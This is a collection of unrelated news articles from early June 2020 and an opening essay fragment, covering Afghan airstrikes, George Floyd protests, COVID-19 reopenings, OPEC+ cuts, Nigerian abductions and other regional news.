I asked him, as the dusty air between us blazed gold with sunlight, if he was worried. I suppose I needed some kind of reassurance, and to see in this place that I will always love that there is still strength in that proud Texan spirit, that it lives on and lives well  generously, prudently, virtuously. But I think he didnt hear me. He was gazing steadily through a plate-glass window at a city full of lives he intends to save, and he was not afraid.
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The U.S. military says it has launched its first air strikes against the Taliban since a cease-fire declared by the militants and Afghan forces last month.

The two sets of air strikes took place on June 4-5 in two different Afghan provinces, military spokesman Colonel Sonny Leggett said.

Elsewhere, 10 Afghan security forces members were reported killed on June 5 in an attack blamed on the Taliban.

The militant group announced a three-day cease-fire with Afghan forces that ended on May 26 to mark the Muslim holiday of Eid al-Fitr.

There has since been an overall drop in violence across the country, with Kabul saying it is ready to start long-delayed peace negotiations with the insurgents.

Washington signed a deal with the Taliban in February, in which it pledged to withdraw all U.S. troops in return for security guarantees in a bid to pave the way for talks between warring Afghan sides.

Leggett said in a tweet that a U.S. air strike was carried out against 25 armed Taliban fighters executing a coordinated attack on an Afghan force checkpoint in the western province of Farah.

Another strike was conducted on an unknown number of Taliban fighters attacking a checkpoint in the southern Kandahar Province, the spokesman said.

All sides must reduce violence to allow the peace process to take hold, he wrote in a separate tweet.

There was no immediate comment from the Taliban.

In the southern province of Zabul, officials said the Taliban ambushed a police convoy after setting off a roadside bomb, killing 10 Afghan officers.

Interior Ministry spokesman Tariq Arian said the blast destroyed several police vehicles.

A subsequent shoot-out also killed four Taliban fighters, Arian added.

The Taliban has not claimed responsibility for the attack.

With reporting by AP, AFP, and Reuters
A committee of the Nebraska Legislature will hold listening sessions in Lincoln and Omaha next week prompted by the violent deaths of George Floyd in Minnesota and James Scurlock in Omaha.

The Judiciary Committee will meet at the Scott Conference Center in Omaha beginning at 9 a.m. Monday, and at NET on the University of Nebraska-Lincoln East Campus Tuesday, also beginning at 9 a.m.

The eight-member committee wants to hear from the public on such topics as policing, racial equality and any other related issues, said Judiciary Committee Chairman Steve Lathrop of Omaha. People are encouraged to share their experiences, concerns and ideas about change.

Social distancing and other precautions will be used, so there may be wait times and limits to how many can be in the hearing area at the same time. Masks will be required at both events.

The forums will allow the public to speak directly to lawmakers tasked with oversight of our states justice system.

Nebraskans have had the opportunity to express themselves through public demonstrations over the past two weeks, Lathrop said. Now we are providing an opportunity to appeal directly to elected officials.

The Scott Conference Center is in Aksarben Village, 6450 Pine St. The Lincoln NET location is small, so anyone who can attend the Omaha event is encouraged to do so, the committee said.

Both events will be live-streamed on NET and broadcast live on NET World.

Venues outside the Capitol were chosen because of ongoing renovations there and limited space for social distancing in the hearing rooms.

Depending on crowd sizes, people testifying may be asked to limit their speaking time so the committee can hear from as many people as possible, Lathrop said. In the interest of public health and safety, people are asked to comply with all city and state health and emergency measures, both inside and outside the venues.

Overflow space will be provided.

After speaking, attendees may be asked to consider making room for anyone still waiting outside. Parking is available in Lot 9 directly south of the Omaha venue.

For the NET location in Lincoln, people should enter through the east doors. Only a limited number of individuals will be allowed into the studio at a time.

A link to the live-stream for each event will be posted on the NET website, netnebraska.org, and can also be accessed before the event by visiting nebraskalegislature.gov and clicking on the "Live Video Streaming" link.

Photos, videos: Protests in Lincoln

Reach the writer at 402-473-7228 or jyoung@journalstar.com. On Twitter @LJSLegislature

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HSBC investors are under fire for their silence over the bank's decision to back controversial laws imposed by China on Hong Kong.

Major shareholders have refused to comment on whether they will be pushing the bank to change its stance, which is at odds with the Government.

HSBC, which is headquartered in London but makes the vast majority of its profit in Asia, this week said it supported laws Beijing is imposing on Hong Kong.

Major HSBC shareholders have refused to comment on whether they will be pushing the bank to change its stance, after it backed Chinese authorities in Hong Kong

Critics fear the legislation will restrict freedom in Hong Kong and increase China's power over the territory.

As the backlash against HSBC intensified, former Conservative leader Sir Iain Duncan Smith said the bank's support for China's national security law was a 'grave error'.

Asked if he would advise people to shut their HSBC accounts, he added: 'It is up to individuals but, personally, if I was there I would.

'I honestly think that the issue of freedom is more important than any business's worry about a particular individual profit and loss at the bottom line.'

UK investment managers such as Aviva, M&G, Legal & General, Standard Life Aberdeen and Royal London  which look after the pensions and savings of hundreds of thousands of Britons  own a large chunk of HSBC's shares.

But all declined to comment on the situation in Hong Kong, and would not reveal whether they would be lobbying HSBC to change its position.

Peter Parry, policy director at the UK Shareholders' Association, said HSBC is in a very awkward position. But this also puts its shareholders in a sticky situation.

The likes of Aviva, M&G and Royal London have a duty to uphold good governance at the companies they invest in  and many of their customers may be riled if they are seen to be tacitly supporting an erosion of freedoms in Hong Kong.
- with reporting from Neil Michael

The Government is expected today to give the go-ahead for Ireland to move to phase two of the road map for reopening the economy, with some additional measures under consideration.

Ireland is expected to move to the next three-week stage of the plan on Monday, with ministers to consider allowing larger retail stores to open if they have a street-level entrance. This move will allow the likes of Ikea, some Penneys stores and larger high street outlets to open from Monday.

The original plan allowed for "small retail outlets with a small number of staff" to open "on the basis that the retailer can control the number of individuals that staff and customers interact with at any one time".

However, the National Public Health Emergency Team has given the government the go-ahead to allow all stores with their own entrances at street level to open - provided they can adequately adhere to physical distancing.

For some stores, this will mean that multiple entrances are used to create multiple stores, segregated within.

NPHET has also given Cabinet the green light to approve the opening of some playgrounds - provided the local authority can ensure they are regularly cleaned.

It is understood that the Government is keenly aware of "wellness" moves alongside the reopening of the economy. Ministers have argued that measures which are focused at allowing people do more outside of economic activity. To that end, discussion is also expected today on children's summer camps.

Cabinet will meet today having met in Dublin Castle last night in person - the first time all members of the government were in the same room since the beginning of the lockdown - to discuss non-Covid issues.

The moves come as the chief medical officer Tony Holohan said he is concerned about house parties and he also urged people to listen to his advice above and beyond what airlines like Aer Lingus might tell us about booking summer holidays.

Speaking at last night's latest Covid-19 briefing, Dr Holohan revealed a continued decline in prevalence in Ireland of the virus.

He said a total of 5 people with Covid-19 have died in the past 24 hours, and there have been 38 confirmed cases of Covid-19.

This brings to 25,142 the total number of confirmed cases of Covid-19 in Ireland.

His colleague Philip Nolan said the country is seeing a slow decline in all cases and all settings.

We are obviously watching the number of deaths per day Looking back over the course of the pandemic, we are now at very low numbers as you can appreciate from these briefings and very low numbers of deaths in residential settings at this point.

Not only are the numbers in hospital low but the numbers of admissions to hospitals have now been in single figures for two weeks in terms of admissions to hospital and numbers of people in hospital and in terms of admissions to intensive care, and numbers of people in intensive care.

But when asked if he had any concerns, Dr Holohan said his biggest concern is house parties being organised with abandon as if we werent in a pandemic.

We are not at the stage where those activities can take place, he said.

Its the unseen activities that give us the most concern.

And this is where public behaviour is getting ahead of our advice. And he added that anybody who is convinced they cant get Covid-19 at certain house parties among close friends, he said this is people rationalising and getting ahead of the behaviour we are recommending.

He said: There are really good public health reasons and it is important to recognise the conditions that can spread.

You can choose not to attend (house parties).

If you see a crowd, stay away.
OPEC+ is set to extend production cuts to prop up the oil market after a breakthrough in high-stakes negotiations, with the alliance meeting on Saturday to sign off on the deal.

After almost a week of wrangling, the groups leaders Russia and Saudi Arabia clinched a tentative deal with holdout member Iraq, according to a delegate. The pair were pushing Baghdad to stop shirking its share of cuts and to compensate for past failings.

The Organization of Petroleum Exporting Countries will meet by video conference on Saturday at 1 p.m. London time, followed by a conference with their OPEC+ allies two hours later, delegates said. The agreement, once ratified, will extend the record OPEC+ production curbs for another month until the end of July, instead of easing them as previously planned.

Brent crude advanced as traders anticipated a tighter market in the coming months. The international benchmark was poised for a sixth weekly advance, rising 3 per cent to US$41.21 a barrel as of 11:10 a.m. in London.

Were reasonably optimistic on the outlook for oil in the second half of the year, Isabelle Mateos y Lago, co-head of the official institutions group at BlackRock Inc., said in an interview with Bloomberg television. Demand is likely to recover far more quickly than supply.

Prices Doubled

OPEC+ is used to dramatic glitches endangering deals at the last minute, so delegates said nothing would be agreed until formal communications take place. If it accepts stricter terms, the Iraqi government risks a backlash from parliamentarians and rival political parties by acceding to foreign pressure.

Still, members of the 23-nation OPEC+ alliance have a lot to gain by preserving their agreement, which has helped engineer a doubling in Brent prices since April. That has eased pressure on the budgets of oil-rich nations, while also reviving the fortunes of major energy companies like Exxon Mobil Corp. and Royal Dutch Shell Plc.

Failure to reach an agreement this month could have brought millions of barrels of oil onto the market, undermining a tentative recovery as countries start emerging from coronavirus lockdowns. With U.S. shale production starting to come back online, OPECs careful management of the demand recovery is crucial.

Saudi Arabia and Russia, who were on opposite sides of a vicious price war until a peace deal in April, are now united against those in OPEC+ who have consistently failed to shoulder their share of the burden. Moscow, a habitual laggard, has complied punctiliously with the historic accord brokered by President Donald Trump, and wants to make sure others do too.

Reunited in leadership of OPEC+ and grimly facing many more months, if not years, of oversupply, Russia and Saudi Arabia had little to lose and much to gain by imposing concrete measures to improve compliance by the laggards, especially Iraq, said Bob McNally, founder of consultant Rapidan Energy Group and a former White House official.

The details of the deal between OPEC+ and Iraq on compliance were still not clear early on Friday. Tough conditions will be difficult to accept for a country still rebuilding its economy following decades of war, sanctions and Islamist insurgency.

Iraq made less than half of its assigned cutbacks last month, so compensating fully would require it to slash production by a further 24 per cent to about 3.28 million barrels a day, according to Bloomberg calculations. That would be a tall order.

Three other nations  Angola, Kazakhstan and Nigeria  also produced above their OPEC+ quotas in May. The three pledged on Thursday to bring their output in line with the agreement.

The Deal

Enforcing better compliance among OPEC+ nations has been a motif since Saudi Energy Minister Prince Abdulaziz bin Salman was appointed.

In his first public outing after becoming energy minister, in Abu Dhabi last September, the prince was literally applauded for securing loud pledges of atonement from Iraq and Nigeria.

His tenure has also been stormy. In March, the princes attempt to force Russia to make deeper output reductions backfired spectacularly, splintering the entire alliance and igniting a destructive price war.

Two months ago, Prince Abdulazizs achievement in successfully restoring the OPEC+ coalition and forging an agreement for historic production cuts was overshadowed  and delayed  by a spat over Mexicos contribution.

The final deal in April set out historic cuts of 9.7 million barrels a day, or roughly 10 per cent of global oil supplies, to offset the unprecedented collapse in demand caused by the virus lockdowns. Then a few weeks later, Saudi Arabia and its closest allies in the Persian Gulf promised additional supply restraint of 1.2 million barrels a day in June.

If a new accord is signed this weekend, the impact on the oil market could be dramatic. After the massive oversupply earlier this year, Russian Energy Minister Alexander Novak predicts there could be a production deficit of 3 million to 5 million barrels a day next month, Interfax reported. Thats roughly in line with projections from an OPEC committee that met on Wednesday, a delegate said.

That would provide a stronger foundation for the crude price recovery, and also allow the cartel to start chipping away at the billion-barrel stockpile thats built up during the crisis.

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Employees of Tata Steels Dutch asset in IJmiuden are ready to go on strikes if Tata Steel fails to comply with their demands, according to FNV.If the management of Tata Steel does not meet [our] requirements before Wednesday [June 10], we will prepare for actions, FNVs release reads.A representative of FNV told Fastmarkets its members voted on Thursday in favor of strike action.

Of the main demands, FNV seeks from Tata Steels management guarantees that there will be no compulsory...
Birmingham school officials canceled remaining high school graduation ceremonies after a student attending Tuesdays graduation for Woodlawn High School tested positive for COVID-19.

In light of this situation, along with the current climate of civil unrest, Birmingham City Schools is postponing the remaining graduation ceremonies that were scheduled for Sunday, June 7, 2020, at Legion Field," a statement from district officials said.

The first graduation ceremony was held Tuesday for Wenonah High School, where 151 graduates received their diplomas. On Sunday night, peaceful protests held downtown against the May 25 killing of George Floyd by a Minneapolis policeman turned violent, resulting in widespread property damage.

The district planned to hold graduation ceremonies for the 1,200 seniors of the class of 2020 all this week at Legion Field. Four ceremonies, Carver, Huffman, Parker and Ramsay high schools, are being rescheduled. Plans are in the works to hold those ceremonies, officials said.

Most all of Alabamas high schools have held or are scheduled to hold in-person graduation ceremonies. A high school student in Decatur who attended Austin High Schools graduation May 21 tested positive for the coronavirus, according to officials there.

While we are proud of our graduates and their capacity for patience and perseverance during the historic and turbulent times, we hold the safety of our students as our highest priority.

Related: Birmingham starts week of high school graduations at Legion Field

Update: 6/5/2020, 1:40 p.m. to correct Sunday, June 7th date.
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American remains in anguish over the murder of George Floyd, and just days before we were talking about Ahmaud Arbery of my home State of Georgia. These are the most recent individuals on our mind; but the list goes on and on. These are only two among many other unjust and inhumane crimes that continue to have a disproportionate effect on African Americans and leave a wretched stain on the social fabric of our country.

As the country is erupting in protest we must ask ourselves what it is that we must do to stem the plague of systematic racism in America.

We cannot control the actions of others and we cant change the heart of man with a flip of a switch, but we can control how we as a church react and how we work to change the hearts of those around us. The church must continue to speak clearly, especially the majority-white church.

The good news is that a concerted voice is actually rising even if that voice is being drowned out by those exploiting the peaceful protests for other ends. Scores of pastors and faith leaders  left, right and center  have been the first to demand justice!

And there are plenty of reasons why.

The prophet Malachi writes, Have we not all one Father? Has not one God created us? Why then are we faithless to one another, profaning the covenant of our fathers? (Malachi 2:10)

Read those questions, again: Have we not all one Father? Has not one God created us? Why then are we faithless to one another, profaning the covenant of our fathers?

We are of one body and one blood. We are all Gods children, and as Scripture tells us, If one member of the body suffers, we all suffer. That police officer in Minnesota didnt just kill George Floyd; he killed my brother, and your brother. As we also read in Scripture, We weep with those who weep; we mourn with those who mourn.

Yes, its time for outrage. Its also time to find a way forward.

Here are just a handful of decisions you can make:

1) Teach your children that all people are made in Gods image. The sooner in a childs life we instill the powerful and revolutionary truth that every human is made in the image of God, the more likely we are to shape their minds in a mold of love for decades to come.

In Genesis 1:26-27 we read, Then God said, Let Us make man in Our image, according to Our likeness God created man in His own image, in the image of God He created him; male and female He created them.

This demonstrates beyond a shadow of a doubt that racism is completely incompatible with the Christian faith.

2) Spend some time, and build genuine friendships, with those who are in the struggle and with those who are different than you.

One of the highlights of Sunday morning, for me, has always been standing on the stage at Free Chapel, looking out across the congregation and seeing one, unified church  a diverse group of African-American, Hispanic, white, young and old, rich and poor, all worshiping the same God.

Its a beautiful picture of heaven. But it can be a beautiful picture of earth too if we help replicate this model elsewhere, beginning with each of our individual families.

Take some time getting to know those who have a different background, a different life story than you do. We each have unique hardships weve overcome, and those shared experiences make a space for us to love one another.

3) Be an advocate for those who have experienced injustice. Remind your friends and neighbors in these situations that they are not alone. Be the first in line to stand by their side when they are the victim of the sin of racism.

Im reminded of Proverbs 31:8, and I love the way the New Living Translation says it: Speak up for those who cannot speak for themselves; ensure justice for those being crushed.

In other words, silence is not an option.

4) Look inside your own heart, and ask God to uproot any, even subtle forms of racism that may have taken root in your life.

Sometimes its our upbringing, perhaps its a moment that left you jaded  either way, were all capable of holding some form of bigotry hidden in our hearts. The important thing is to nip it in the bud. Dont let that weed grow wild. I believe the situations in Georgia and Minnesota recently are the direct result of a long and dangerous path in the wrong direction. Injustice doesnt happen by accident.

I love the advice of the Psalmist, Search me, oh God, and know my heart!

We used to sing a song when my children were young called Jesus Loves the Little Children. Maybe you sang it too?

The best line in that song was, Red, and yellow, black, and white, they are precious in his sight. Perhaps somewhere along the way we stopped teaching our children this song. Well, we oughta start singing it again, young and old  all of us.

We can find our way, but it wont happen by accident. It starts at home.
The city of Midland Health Department is currently conducting its investigation on three new confirmed cases of COVID-19 in Midland County, bringing the overall case count to 146.

The 144th confirmed case is a female in her 40s who was tested by a private provider. She is currently self-isolating at home. The woman is an employee at Manor Park and last worked on Tuesday. The source of exposure is household contact to known case.
She welcomed her first child, son Oscar, with husband Peter Stefanovic in February.

And on Friday, Sylvia Jeffreys was every inch the doting mother as she bonded with her baby boy.

The new mother, 34, shared a photo to Instagram of herself pushing Oscar in a pram as they enjoyed a stroll to help raise money for Sydney Children's hospital.

Mum's the word! Sylvia Jeffreys (pictured) is all smiles as she enjoys a stroll with her newborn son Oscar

The proud mum couldn't wipe the smile off her face as she pushed her bub while soaking up the sun.

Sylvia kept warm in a black jacket with a white jumper and matching coloured pair of sneakers.

She captioned the post: 'Oscar and I completed [a] challenge this morning with a 5 km walk around Centennial Park (although one of us managed to snooze most of the way).'

This year Sylvia helped raise money for Sydney Kids by walking 5km and then donated the cash on the foundation's website.

He's a tiny tot! Sylvia and her husband Peter welcomed Oscar in February and announced the news on Instagram at the time

Sylvia and her husband Peter welcomed Oscar in February and announced the news on Instagram at the time.

Sylvia shared a sweet image of their son in a blue onesie and said that he has 'deep blue eyes' and is 'perfectly healthy.'

'He's absolute magic,' she added in her caption at the time.

'He's absolute magic': She said at the time that he has 'deep blue eyes' and is 'perfectly healthy'

Earlier this month, Sylvia told Today Extra how she's been finding motherhood.

She said on the show: 'It's just been the most wonderful and surprising experience.'

'It is every emotion at its extreme and all mixed in together. It is an extreme and deep joy, it is rational anxiety. But mostly just joy and wonder, and in awe of this beautiful little boy,' she added.

Sylvia also revealed she and Peter 'go to bed at night and just watch videos' of their little boy.
JACKSON, Mich., June 5, 2020 /PRNewswire/ -- Global bakery manufacturer and ingredients supplier Dawn Foods announced today the 10 recipients of its $50,000 charitable donation as part of its #DonutsForGoodEntry promotion, which highlights the positive impact Dawn customers continually make in their local communities.

"Now more than ever, it's imperative we continue to support our local bakeries as a way to recognize all the good they do within their communities," said Carrie Jones-Barber, CEO of Dawn Foods. "The #DonutsForGoodEntry winners are a reflection of the countless good deeds bakers perform day in and day out around the world. As we celebrate our 100th anniversary this year, we recognize that Dawn's success is made possible by the creative work of our customers who continue to do good in their communities."

#DonutsForGoodEntry winners were drawn at random from baker applications throughout the United States received online and through social media. Each winner, listed below, was the recipient of $5,000 to donate to a 501(c)(3) charitable organization of their choice.

#DonutsForGoodEntry Promotion Winners

Cookie Cupboard Gourmet Dough, Valley View , Ohio | The Metanoia Project

, Ohio | The Metanoia Project Dimare Pastry Shop LLC, Stamford , Conn. | Make-A-Wish

, Conn. | Make-A-Wish Famous Donuts, Fort Worth , Texas | St. Jude's Children's Hospital

, Texas | St. Jude's Children's Hospital Gibson Donuts, Memphis , Tenn. | The Salvation Army

, Tenn. | The Salvation Army Merritts Bakery, Tulsa , Okla. | Community Food Bank of Eastern Oklahoma

, Okla. | Community Food Bank of Miss Angels Heavenly Pies, Mount Airy, N.C. | The Congregation of Trinity Episcopal Church

Mojo Donuts & Fried Chicken, Miami , Fla. | The Live Like Bella Childhood Cancer Foundation

, Fla. | The Live Like Bella Childhood Cancer Foundation Pasticcini Bakery, Weymouth, Mass. | Cardinal Cushing Center

Smallcakes Baltimore, Annapolis, Md. | Jayde M Schools Inc.

Tortilleria Sonora , Des Moines , Iowa | Iowa Farm Sanctuary

Dawn's #DonutsForGoodEntry promotion is part of its "Thank You to Bakers" program, which kicked off in January in tandem with the company's 100th anniversary celebration. "Thank You to Bakers" aimed to raise awareness of the hard work the baking community puts in each day and thank bakers across the globe for their dedication.

For more information on Thank You to Bakers and #DonutsForGoodEntry winners, visit dawnfoods.com/nationaldonutday

About Dawn Food Products, Inc.

Global bakery manufacturer and ingredients supplier Dawn Foods has established itself as the premier bakery service provider, inspiring bakery success every day. Committed to delighting its customers around the world, Dawn Foods delivers the partnership, insights, innovations, products and bakery expertise that empowers them to achieve their aspirations. Headquartered in Jackson, Michigan, Dawn Foods partners with more than 40,000 artisanal and retail bakers, food service leaders and manufacturers located in more than 100 countries and has 5,000 Team Members globally. For 100 years, Dawn Foods has been a trusted advisor to its customers, helping drive their business forward. For more information about the company, its products and culture, please visit DawnFoods.com .

CONTACT:

Katharine Nichols Lucy Ayala Zeno Group for Dawn Foods External Communications Manager 312-975-8597 517-841-7509 [email protected] [email protected]

SOURCE Dawn Food Products, Inc.

Related Links

https://www.dawnfoods.com


On June 5, Serbian Minister of Defence, Aleksandar Vulin, attended the demonstration of a part of the River Flotillas capabilities at Belgrade's Usce (the confluence of Sava and Danube Rivers), which was performed by members of the Second River Detachment, on the subject of "River Task Force attacking armed terrorist boats".

On June 5, Serbian Minister of Defence, Aleksandar Vulin, attended the demonstration of a part of the River Flotillas capabilities at Belgrade's Usce (the confluence of Sava and Danube Rivers), which was performed by members of the Second River Detachment, on the subject of "River Task Force attacking armed terrorist boats".

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Riverboat of the Serbian Second River Detachment (Picture source: Serbian MoD)

According to Minister Vulin, the River Flotilla is an important part of the Army, and its members are capable of responding to any challenge. Today, we saw that the members of the River Flotilla are capable of responding to every challenge and solving every threat that they could meet on our rivers. No part of the Republic of Serbia can be undefended. Regardless of whether it is the sky, the river, or the land, the members of the Serbian Armed Forces are capable of protecting our country and the security of all citizens in every part of our territory Defense Minister Vulin claimed.

Minister Vulin says that investments are made in the River Flotilla and that they will continue to be made: We expect that, this year, we will complete the process of rearming our fleet and that we will begin the process of overhauling our ships. Many decades have passed since we tried so hard for every segment of our armed forces to be successful, modern and capable of facing any threat, but also to be the pride of all citizens of Serbia said Minister Vulin.

The Commander of the River Flotilla, Captain Andrija Andric, said that today's demonstration was successful and explained which segments it consisted of: A shadower quickly discovered two armed boats with groups of terrorists. An order was given to a group of patrol boats that were waiting in ambush, which was followed by an energetic movement and destruction of a group of armed boats by firing from four-barrelled and single-barrelled 20 mm cannons and naval machine guns, Captain Andric pointed out. According to him, in addition to reconnaissance tasks and anti-ship artillery action, the river units today also showed the operation of the search and rescue service in the recovery of the wounded from the water, as well as the work of crews of military vessels for towing damaged boats to the port.

The Deputy Army Commander, Brigadier General Vladeta Baltic, and the Head of the Training and Doctrine Department of the General Staff of the Serbian Armed Forces, Brigadier General Zeljko Petrovic also attended the demonstration of a part of the operational capabilities of the River Flotilla.

River boat of the Serbian Second River Detachment (Picture source: Serbian MoD)
At least three humanitarian workers and a Nigerian soldier were on Tuesday abducted by suspected Boko Haram insurgents in the northern part of Borno State, officials confirmed.

Humanitarian workers travelling under a military escort, from Maiduguri to Monguno in the northern part of Borno, ran into an ambush that led to the abductions.

The concerned organisations have been silent about the incident days after it happened.

The Borno State government has, however, confirmed the development.

It is not clear which of the humanitarian organisations the two abductees work for. But the Borno State Emergency Management Agency (SEMA) confirmed that one of the three aid workers was their official.

The Executive Chairperson of SEMA, Yabawa Kolo, described the abduction as sad and very unfortunate.

Mrs Kolo told journalists that her organisation has since reported the matter to the police and other security agencies.

She said security agents are currently working on information received from the driver of the car, who was spared by the insurgents.

Abduction

PREMIUM TIMES gathered from sources familiar with the incident that the travelling aid workers were on Tuesday waylaid at about 11 a.m. at a location in Guzamala local government of Borno.

They forcefully disarmed the soldier and took away three other aid workers, but left the driver of the vehicle, an operative of Civilian-JTF who asked not to be named said.

Two of the civilians work with NGO and one with SEMA, but I am not at liberty to mention the name of the NGO  thats the warning we received from the security agents investigating the matter, the source added.

But when our reporter contacted the Borno State police command, the spokesman, Edet Okon, a deputy superintendent of police, said he was not aware of the incident.

The army spokesman, Sagir Musa, also said he was not aware of the incident.

The UN office for coordination of humanitarian affairs has not reacted yet. Officials at the UN body did not respond to calls from our reporter.
The two assaults took place since a rare ceasefire between the armed group and Afghan forces ended more than a week ago.

The United States military says it has conducted its first air raids against the Taliban since a rare ceasefire between the armed group and Afghan government forces ended more than a week ago.

There was no immediate comment from the Taliban following the announcement on Friday.

Colonel Sonny Leggett, spokesman for US forces in Afghanistan, said one set of air raids took place on Friday afternoon in western Farah province, targeting 25 Taliban fighters who were attacking Afghan forces.

Hours earlier, on Thursday night, the US air forces struck an unknown number of Taliban in southern Kandahar province.

These were the 1st US airstrikes against (the Taliban) since the start of the Eid ceasefire, Leggett wrote. We reiterate: All sides must reduce violence to allow the peace process to take hold, he added.

Leggett did not elaborate on the air raids or their targets. However, an Afghan government official, speaking on condition of anonymity because he was not authorised to talk to the media, was quoted as saying by The Associated Press newa agency that three senior Taliban commanders and at least 13 other fighters were killed in the Farah attacks.

On May 23, the Taliban announced a surprise three-day ceasefire with Afghan forces starting the next day to coincide with Eid al-Fitr, the Muslim holiday marking the end of the fasting month of Ramadan.

The government in Kabul welcomed the move and ordered its forces to comply with the ceasefire.

There has since been an overall drop in violence across the country, with the Afghan government accelerating the release of hundreds of Taliban prisoners and saying it is ready to start the long-delayed peace talks with the Taliban.

Washington signed a landmark agreement with the Taliban in February, in which it pledged to withdraw all US troops in return for security guarantees.
Is there Karnataka weekend lockdowns or night curfew? Here's what minister has to say

JD(S) MLAs unanimously want Deve Gowda to contest for Rajya Sabha

India

pti-PTI

Bengaluru, June 05: JD(S) legislators are of the unanimous opinion that party supremo H D Deve Gowda should contest Rajya Sabha polls scheduled for June 19, his son and former Chief Minister H D Kumaraswamy said on Friday.

He said the party legislators also feel that Congress and BJP are not likely to field candidates for one seat, if Gowda contests.

The four seats of Rajya Sabha from Karnataka represented by Rajeev Gowda and B K Hariprasad of Congress, Prabhakar Kore of BJP and D Kupendra Reddy of JD(S) will fall vacant on June 25 with their retirement.

"It is the unanimous pressure from all the legislators that Deve Gowda has to contest from the party, keeping in mind today's situation, but Deve Gowda has so far not expressed any interest to contest Rajya Sabha polls or has agreed for it till this movement," Kumaraswamy said.

Supreme Court asks states to take back all migrant residents in 15 days | Oneindia News

Speaking to reporters after JD(S) legislature party meeting here, he said, but our legislators considering his service and experience, feel that it is necessary for Deve Gowda to go to Rajya Sabha, given the situation that exists in the country.

"It has not been decided yet, whether to contest or not... legislators have said they will discuss with him (Gowda) about their demand (and convince)," he added.

Gujarat Rajya Sabha Polls: BJP eager to avenge 2017 humiliation

With 117 members (including Speaker), BJP can ensure victory in two of the four seats, while Congress with 68 MLAs can win one seat. With a minimum 44 votes required for candidates to win, no party can independently win the fourth seat.

JD(S) that has 34 seats in the assembly is not in a position to win a seat in Rajya Sabha on its own, and will need support from one of the national parties with their surplus votes for this.

Speculations are rife that Congress is likely to support JD(S) with its surplus votes if the regional party fields Gowda and in return may seek favour during legislative council polls slated later this month.

Noting that BJP and Congress have the numbers to ensure victory of two and one candidates respectively and both parties would have surplus votes, Kumaraswamy said, both parties have shortage to win one more seat. He said, legislators are of the opinion that if Deve Gowda is fielded, Congress and BJP will not field candidates for the fourth seat that they cannot win on their own.

"Let's see what happens when the time comes, why worry about it now itself. let's think about it and decide if he (Gowda) contests," he added.

According to sources, JD(S) is also thinking about an alternative name if Gowda declines to contest. Whether Congress will agree to it is not clear.

On Gowda not agreeing to contest and not being able to find a suitable alternative, there may be chances of JD(S) deciding not to contest RS polls in and support Congress, sources said, adding that, in return it may seek favour in legislative council polls, but nothing has been decided.

Aimed at consolidating his position as a Vokkaliga leader, state Congress President D K Shivakumar is said to be keen on supporting Gowda, a veteran from the community that has a large presence in southern parts of the state.

Gowda, who believes in getting elected from the people, is not keen on "backdoor entry", sources said, adding that there is also a feeling that taking support from Congress will make it difficult for JD(S) in the old Mysuru region, where the grand old party is its traditional rival, as it happened during 2019 Lok Sabha polls, which both parties fought in alliance.

If he contests and wins, this would be the second Rajya Sabha entry for 87-year-old Gowda, the first time being in 1996 as Prime Minister. Gowda was defeated in Tumkur constituency by BJP's G S Basavaraj by a margin of over 13,000 votes in 2019 Lok Sabha polls.

As the joint candidate of the then ruling Congress-JDS coalition, Gowda had chosen to contest from Tumkur at the last minute, after vacating Hassan-his home turf, to grandson Prajwal Revanna (a current MP).
The National Lottery Authority (NLA) signed a historic partnership agreement with the Veterans Administration, Ghana (VAG). The agreement gave NLA the sole power to regulate, manage and supervise the operations of VAG lottery to contribute to the overall well-being of Veterans in the Country.

Based on the collaborative agreement between the National Lottery Authority and Veterans Administration, Ghana, the National Lottery Authority has granted Licenses to the following Private Sector Lotto Operators under Act 844:

1. Lotto and Lotteries Company Limited

2. Alpha Lotto Limited

3. From Home Company Limited

4. Vision 2000 Company Limited

5. Rand Lotto

The Licensing of qualified Private Sector Lotto Operators were done under the approval of the Board of National Lottery Authority(NLA).

The licensed Private Sector Lotto Operators would operate lottery under Act 844 regulated by the National Lottery Authority (NLA) in accordance with Act 722.

All Licensed Private Sector Lotto Operators together with their Agents, Sub-agents and 'Writers'(Retailers) shall use Point of Sale Terminals to sell all lottery products as part of the Terms and conditions of their respective Contracts.

Each Licensed Private Sector Lotto Operator shall obtain a Security Identification Embossment to affix on the respective Lotto Kiosks of their Agents, Sub-agents, and 'Writers'(Retailers).

The Licensed Private Sector Lotto Operators would operate strictly in accordance with the Terms and Conditions stated in their contracts.

Henceforth, any Lotto Operator, Agent, Sub-agent, and 'Writer'(Retailer) who pays outrageous Commission above the approved Commission by the Authority would be dealt with in accordance with Act 722, L. I. 1948 and Section 22 of Act 844.

The National Lottery Authority (NLA) would like to reiterate that, it is unlawful under Act 722, L.I. 1948 and Section 22 of Act 844 to manufacture, distribute, sell, or retail lottery products and services without authorization from the National Lottery Authority (NLA).

Accordingly, all those engaged in illegal lottery operations would be arraigned before Lotto Courts across the Country inaugurated by the Chief Justice of Ghana. The lotto Courts aim at ensuring the prosecution of lotto- related offences, compliance, and enforcement of the Act 722, L.I. 1948 and Section 22 of Act 844.

However, the Authority would like to inform the general public that very soon:

1. List of Licensed Lotto Marketing Companies under Act 722 would be published.

2. Second batch of Licensed Private Sector Lotto Operators under Act 844 would be published.

Issued By:

Public Relations Unit Of NLA
Two school teachers have been killed in a roadside bomb blast in Pakistan's restive northwestern province bordering Afghanistan, an official said on Friday.

The two teachers were going on a bike when the bomb exploded near a stream in Damadola area in Bajuar district of Khyber Pakhtunkhwa province.

According to locals, Abdur Rahman, a teacher in a private school, and Ismail, a government school teacher, were killed on the spot.

The police have launched an investigation into the incident, the official said. No individual or militant group has claimed responsibility for the incident, but Taliban militants often carry out such attacks.

The Pakistan Army launched a massive operation in 2014 to destroy militant bases in North Waziristan and end nearly a decade-long insurgency in the region.
Operation IMPACT was initiated in 2014 as part of the Canadian Armed Forces (CAF) contribution to the fight against Daesh, also known as ISIS. In 2018, the mission shifted toward training and capacity building in Lebanon, Iraq and Jordanall of which are partner nations that border Syria and that have been threatened by Daesh. The mission is headquartered in Kuwait.

The CAF and its allies determined they could better contribute to long-term stability in the Middle East by working with partners to strengthen their ability to defend themselves.

Canadian efforts in Lebanon and Jordan are implemented through bilateral agreements, says BGen St-Louis. In Iraq, they are coordinated through two coalitions: the Global Coalition to Defeat Daesh, led by the United States, and NATO Mission Iraq.

Training and mentorship delivered through Op IMPACT includes areas such as weapons handling, explosive-ordnance disposal, combat first aid, civil-military cooperation and logistics management. To date, the CAF has trained more than 4,500 Iraqis, 1,490 Lebanese and 900 Jordanians.

